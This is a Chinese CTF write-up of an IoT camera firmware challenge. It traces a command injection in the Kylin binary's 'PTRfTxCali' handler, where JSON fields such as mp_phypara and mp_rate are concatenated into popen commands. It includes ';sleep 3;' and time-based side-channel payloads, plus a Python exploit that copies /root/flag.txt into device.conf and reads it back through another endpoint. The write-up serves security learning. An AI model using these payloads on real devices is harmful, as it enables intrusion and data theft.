ctf iot

nepctf-2026-What’s the IPC

解包+固件分析

题目的描述很简单, 就说是一个有漏洞的摄像头

附件是一个.bin固件, 用binwalk就能解开

1
binwalk -Me firmware.bin

可以在

1
_firmware.bin-0.extracted/_romfs-x.squash.img.extracted/squashfs-root

中找到文件系统

因为这里指明了是摄像头, 所以可以快速去找Kylin文件

最终在./_user-x.squash.img.extracted/squashfs-root/bin/Kylin中找到了 , 这个文件大概就是需要逆向分析的elf

当然也可以从启动脚本中寻找

前往文件系统中的/etc/init.d/下的rcS中看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /bin/sh
hostname ni
mount -a
mkdir /dev/pts
mount -t devpts devpts /dev/pts
if [ ! -e "/dev/ptmx" ]; then
	mknod -m 666 /dev/ptmx c 5 24
fi
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s

mount -t squashfs /dev/mtdblock4 /opt/app
mount -t squashfs /dev/mtdblock5 /opt/web
mount -t squashfs /dev/mtdblock6 /opt/custom
mount -t jffs2 /dev/mtdblock7 /opt/sav -o sync

if [ -f /opt/sav/S99.sh ]; then
	sh /opt/sav/S99.sh
	exit 
fi

for initscript in /etc/init.d/S[0-9][0-9]*
do
    if [ -x $initscript ] ;
    then
        echo "[RCS]: $initscript"
        $initscript
    fi
done

调用了S99.sh , 这个文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/sh

#load ko
cp /opt/app/ko.tar.xz  /var -rf
cd /var
xz -d /var/ko.tar.xz
tar -xvf /var/ko.tar
cd ko;sh load520_mdk_asic -i --sensor0 os04d10;cd -

ifconfig lo 127.0.0.1
ifconfig eth0 192.168.1.203


if [ -f /opt/app/appconfig.tar.xz ]; then
	cp /opt/app/appconfig.tar.xz  /var -rf
	cd /var
	xz -d /var/appconfig.tar.xz
	tar -xf /var/appconfig.tar
	rm /var/appconfig.tar
	/var/system/auto-appconfig-select.sh
	rm /var/system -r
else 
	/opt/app/system/auto-appconfig-select.sh
fi

# decompress font.tar.xz
if [ -f /opt/app/font.tar.xz ]; then
	cp /opt/app/font.tar.xz  /var -rf
	cd /var
	xz -d /var/font.tar.xz
	tar -xf /var/font.tar
	rm /var/font.tar
fi

# decompress gui.tar.xz
if [ -f /opt/app/gui.tar.xz ]; then
	cp /opt/app/gui.tar.xz  /var -rf
	cd /var
	xz -d /var/gui.tar.xz
	tar -xf /var/gui.tar
	rm /var/gui.tar
fi

# decompress model.tar.xz
if [ -f /opt/app/model.tar.xz ]; then
	cp /opt/app/model.tar.xz  /var -rf
	cd /var
	xz -d /var/model.tar.xz
	tar -xf /var/model.tar
	rm /var/model.tar
fi

xuart=`awk '/^(xuart)/{ print $2 }' /proc/vss/bootpara`
if [ $xuart == '1' ];then
	mac=`ifconfig eth0|awk '/(HWaddr)/{print $5}' | tr ':' '-'`
	ip=`cat /opt/sav/Config/network | grep HOSTIP | awk '/(HOSTIP)/{print $3}'`
	echo "/mnt/debug/IPC/coredump.$mac.$ip.%e.%p.%t" > /proc/sys/kernel/core_pattern
	ulimit -c unlimited
fi

# rm /opt/sav/Config/passwd*

#
#release mem
rm -rf /var/ko.tar
rm -rf /var/ko
sync
echo 3 > /proc/sys/vm/drop_caches
#

xapp=`awk '/^(xapp)/{ print $2 }' /proc/vss/bootpara`
if [ $xapp == '1' ];then
	/opt/app/bin/Kylin
fi

可以看到倒数第二行, 就是启动Kylin作为服务

逆向分析

使用IDA打开Kylin可以看到这是一个超级大的文件 , 如果漏洞点是在某个地方埋了一个栈溢出, 可能性不大

所以优先从命令执行方面看

对着system和popen搜索发现 , 发现system的参数不太可能被控制

但是在popen中找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall sub_7D98C(int dest, int a2)
{
  int v4; // r4
  FILE *stream_1; // r0
  const char *v6; // r1
  FILE *stream; // r6

  v4 = 0;
  while ( v4 < a2 )
  {
    stream_1 = popen((const char *)(dest + (v4 << 6)), "r");
    v6 = (const char *)(dest + (v4 << 6));
    stream = stream_1;
    if ( !stream_1 )
    {
      printf("Error, Execute %s failed!\n", v6);
      return -1;
    }
    ++v4;
    printf("ATE_ControlPkt cmd %s\n", v6);
    pclose(stream);
    usleep((__useconds_t)"11char_traitsIcEEE");
  }
  return 0;
}

大概可以看到这是一个命令列表进行执行, 每条命令最长为64字节

对其交叉引用的第一个结果便很有价值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
......
  v51 = sub_171858(v584, "method");
  sub_170080(v709, v51);
  v52 = sub_73840(v709, "PTRfTxCali");
  sub_4A0D00(v709);
  if ( v52 )
  {
    if ( sub_170EEA() )
    {
      strcpy((char *)dest, "rtwpriv wlan0 mp_ctx stop");
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v55 = sub_171858(v584, "param");
        v56 = (const char *)sub_171858(v55, "mp_phypara");
        v60 = sub_170746(v56, v57, v58, v59);
        n2 = 2;
        snprintf((char *)&dest[16], 0x240u, "rtwpriv wlan0 mp_phypara %s", v60);
      }
      else
      {
        n2 = 1;
      }
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v63 = sub_171858(v584, "param");
        v64 = (const char *)sub_171858(v63, "mp_rate");
        v68 = sub_170746(v64, v65, v66, v67);
        snprintf((char *)&dest[16 * n2++], 0x240u, "rtwpriv wlan0 mp_rate %s", v68);
      }
      v69 = n2 + 1;
      strcpy((char *)&dest[16 * n2], "rtwpriv wlan0 mp_reset_stats");
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v69 = n2 + 2;
        v70 = sub_171858(v584, "param");
        v71 = (const char *)sub_171858(v70, "mp_bandwidth");
        v75 = sub_170746(v71, v72, v73, v74);
        snprintf((char *)&dest[16 * n2 + 16], 0x240u, "rtwpriv wlan0 mp_bandwidth %s", v75);
      }
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v76 = sub_171858(v584, "param");
        v77 = (const char *)sub_171858(v76, "mp_channel");
        v81 = sub_170746(v77, v78, v79, v80);
        snprintf((char *)&dest[16 * v69++], 0x240u, "rtwpriv wlan0 mp_channel %s", v81);
      }
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v82 = sub_171858(v584, "param");
        v83 = (const char *)sub_171858(v82, "mp_txpower");
        v87 = sub_170746(v83, v84, v85, v86);
        snprintf((char *)&dest[16 * v69++], 0x240u, "rtwpriv wlan0 mp_txpower %s", v87);
      }
      sub_171858(v584, "param");
      if ( sub_170EEA() )
      {
        v88 = sub_171858(v584, "param");
        v89 = (const char *)sub_171858(v88, "mp_ant_tx");
        v93 = sub_170746(v89, v90, v91, v92);
        snprintf((char *)&dest[16 * v69++], 0x240u, "rtwpriv wlan0 mp_ant_tx %s", v93);
      }
      strcpy((char *)&dest[16 * v69], "rtwpriv wlan0 mp_ctx background,pkt");
      if ( sub_7D98C((int)dest, v69 + 1) )
......

大概可以看到这是一个PTRfTxCali接口, 从报文中取出了各种字段, 和固有字符串拼接成为命令, 然后填入命令列表中

最后被sub_7D98C调用popen执行, 至此大概可以确定攻击向量 : 从mp_phypara或mp_rate字段进行注入

脚本编写

可以把这个函数sub_7FCBC扔给AI, 大概率能跑出来报文的格式, 应该是如下的json

1
2
3
4
5
6
7
{
  "method": "PTRfTxCali",
  "param": {
    "mp_phypara": "phpara",
    "mp_rate": "rate"
  }
}

因为这个文件的响应报文是硬编码, 所以先通过时间注入判断命令注入的存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
zer00ne@zer00ne:~/Desktop/ctf$ cat exp.py 
import json, re, socket

HOST = "nc1.ctfplus.cn"
PORT = 29897

def udp(payload, timeout=30):
    data = json.dumps(payload, separators=(",", ":")).encode() + b"\n"
    with socket.create_connection((HOST, PORT), timeout=timeout) as sock:
        sock.sendall(data)
        out = b""
        while True:
            chunk = sock.recv(8192)
            if not chunk:
                break
            out += chunk
            if b"\n" in out:
                break
    return out.decode(errors="replace")

def cmd(**param):
    return udp({"method": "PTRfTxCali", "param": param})

cmd(mp_phypara=";sleep 3;")

运行后大概3s获得响应, 由此判断命令注入存在

测信道攻击

其实通过时间就能大概注入获得flag了

具体的原理如下

1
2
;[ "${FLAG:0:1}" = "N" ]&&sleep 1;
;[ "${FLAG:1:1}" = "e" ]&&sleep 1;

对flag中的字符逐个比较, 稳定但很耗时

文件重定向

我选择的是这个方法

我找到了一个接口Tenda_mfg_htmlVersionInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
v425 = sub_73840(v792, "Tenda_mfg_htmlVersionInfo");
sub_4A0D00(v792);
if ( v425 )
{
  s__1 = 0LL;
  memset(v826, 0, 24);
  sub_33769C(&s__1, 32);
  v426 = sub_171858(v584, "param");
  v427 = sub_171858(v426, "PROD");
  sub_7DA84(v793, &s__1);
  sub_16FF8C(v649, v793);
  sub_170074(v427, v649);
  sub_170C7A(v649);
  sub_4A0D00(v793);
  ptr__1 = 0LL;
  memset(v829, 0, 56);
  sub_33779C(&ptr__1, 64);
  v428 = sub_171858(v584, "param");
  v429 = sub_171858(v428, "SV");
  sub_7DA84(v794, &ptr__1);
  sub_16FF8C(v650, v794);
  sub_170074(v429, v650);
  sub_170C7A(v650);
  sub_4A0D00(v794);
  s_ = s__2;
  v820 = 0;
  s__2[0] = 0;
  sub_7DA84(v795, "mac_info");
  sub_7EA34(a1, v795, &s_);
  sub_4A0D00(v795);
  v430 = sub_171858(v584, "param");
  v431 = sub_171858(v430, "MAC");
  sub_16FF8C(v651, &s_);
  sub_170074(v431, v651);
  sub_170C7A(v651);
  sub_7DA84(v796, "rf_test_flag");
  sub_7EA34(a1, v796, &s_);
  sub_4A0D00(v796);
  v432 = sub_171858(v584, "param");
  v433 = sub_171858(v432, "RFTestFlag");
  sub_16FF8C(v652, &s_);
  sub_170074(v433, v652);
  sub_170C7A(v652);
  sub_7DA84(v797, "throughput_test_flag");
  sub_7EA34(a1, v797, &s_);
  sub_4A0D00(v797);
  v434 = sub_171858(v584, "param");
  v435 = sub_171858(v434, "ThroughputTestFlag");

这个接口会从文件/opt/sav/Config/device.conf中找到以下的键值对, 提取其中的值

1
2
3
4
mac_info=xxx
rf_test_flag=xxx
throughput_test_flag=xxx
finish_test_flag=xxx

放入响应中回显

因此如果能把flag注入到mac_info=$(flag), 就能通过这个接口获得flag

可以使用如下的命令组合做到(测试了很多文件, 最终确定flag为/root/flag.txt)

1
2
3
cmd(mp_phypara=";cat /root/flag.txt>/tmp/f")
cmd(mp_phypara=";sed -i s/^/mac_info=/ /tmp/f")
cmd(mp_rate=";cp /tmp/f /opt/sav/Config/device.conf")

最终获得的利用脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import json, re, socket

HOST = "nc1.ctfplus.cn"
PORT = 39059

def udp(payload, timeout=30):
    data = json.dumps(payload, separators=(",", ":")).encode() + b"\n"
    with socket.create_connection((HOST, PORT), timeout=timeout) as sock:
        sock.sendall(data)
        out = b""
        while True:
            chunk = sock.recv(8192)
            if not chunk:
                break
            out += chunk
            if b"\n" in out:
                break
    return out.decode(errors="replace")

def cmd(**param):
    return udp({"method": "PTRfTxCali", "param": param})

def mac():
    resp = udp({"method": "Tenda_mfg_htmlVersionInfo", "param": {}})
    m = re.search(r'"MAC":"(.*?)"', resp)
    return m.group(1).encode().decode("unicode_escape").strip()

cmd(mp_phypara=";cat /root/flag.txt>/tmp/f")
cmd(mp_phypara=";sed -i s/^/mac_info=/ /tmp/f")
cmd(mp_rate=";cp /tmp/f /opt/sav/Config/device.conf")
print(mac())